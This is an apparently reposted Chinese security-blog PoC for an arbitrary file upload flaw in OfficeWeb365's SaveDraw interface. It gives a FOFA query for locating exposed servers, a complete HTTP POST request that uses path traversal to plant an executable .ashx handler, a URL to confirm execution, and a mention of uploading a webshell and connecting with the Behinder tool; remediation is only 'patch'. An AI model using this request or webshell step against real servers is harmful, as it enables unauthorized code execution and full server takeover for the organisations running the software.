OfficeWeb365 SaveDraw 任意文件上传getshell漏洞 PoC

admin 2024年12月2日11:28:48评论22 views字数 1605阅读5分21秒阅读模式

免责声明:请勿使用本文中提到的技术进行非法测试或行为。使用本文中提供的信息或工具所造成的任何后果和损由使用者自行承担,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

OfficeWeb365 SaveDraw 任意文件上传getshell漏洞 PoC
简介
OfficeWeb365 是一款专业的云服务平台,专注于提供 Office 文档和 PDF 文档的在线预览功能,支持 Microsoft Word、Excel、PowerPoint,WPS 系列(文字、表格、演示)以及 Adobe PDF 的在线预览。该服务无需安装 ActiveX 控件或客户端部署,即可兼容所有浏览器和移动设备,为用户提供便捷高效的办公文档在线预览体验。
OfficeWeb365 SaveDraw 任意文件上传getshell漏洞 PoC
OfficeWeb365 SaveDraw 任意文件上传getshell漏洞 PoC
漏洞描述
OfficeWeb365 的 SaveDraw 接口 存在任意文件上传漏洞,攻击者可利用该漏洞上传任意文件到服务器,从而获取服务器权限。通过此漏洞,攻击者可以直接上传恶意的 webshell 文件,对服务器进行控制,进一步获取对整个 Web 服务器的完全掌控。
OfficeWeb365 SaveDraw 任意文件上传getshell漏洞 PoC
fofa语法
body="请输入furl参数"header="OfficeWeb365"banner="OfficeWeb365"
OfficeWeb365 SaveDraw 任意文件上传getshell漏洞 PoC
漏洞复现
发送数据包,计算7* 8的值,计算结果写入文件drawPW1.ashx中
POST /PW/SaveDraw?path=../../Content/img&idx=10.ashx HTTP/1.1Host: ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brConnection: closeUpgrade-Insecure-Requests: 1Priority: u=0, iContent-Type: application/x-www-form-urlencodedContent-Length: 480data:image/png;base64,{{filehash}}<%@ Language="C#" Class="Handler1" %>public class Handler1:System.Web.IHttpHandler{public void ProcessRequest(System.Web.HttpContext context){System.Web.HttpResponse response = context.Response;response.Write(7 * 8);string filePath = context.Server.MapPath("/") + context.Request.Path;if (System.IO.File.Exists(filePath)){ System.IO.File.Delete(filePath);}}public bool IsReusable{get { return false; }}}///---
OfficeWeb365 SaveDraw 任意文件上传getshell漏洞 PoC
访问http://ip/Content/img/UserDraw/drawPW1.ashx,查看命令执行结果,成功写入7*8的值56
OfficeWeb365 SaveDraw 任意文件上传getshell漏洞 PoC
上传shell文件,然后冰蝎连接http://ip/Content/img/UserDraw/drawPW11.aspx
getshell poc请在公众号知识星球获取
OfficeWeb365 SaveDraw 任意文件上传getshell漏洞 PoC
批量检测(批量检测POC工具请在公众号知识星球获取):
OfficeWeb365 SaveDraw 任意文件上传getshell漏洞 PoC
OfficeWeb365 SaveDraw 任意文件上传getshell漏洞 PoC
修复建议
1、打补丁
网安交流群

原文始发于微信公众号(白帽攻防):【漏洞复现】OfficeWeb365 SaveDraw 任意文件上传getshell漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月2日11:28:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   OfficeWeb365 SaveDraw 任意文件上传getshell漏洞 PoChttps://cn-sec.com/archives/3458220.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息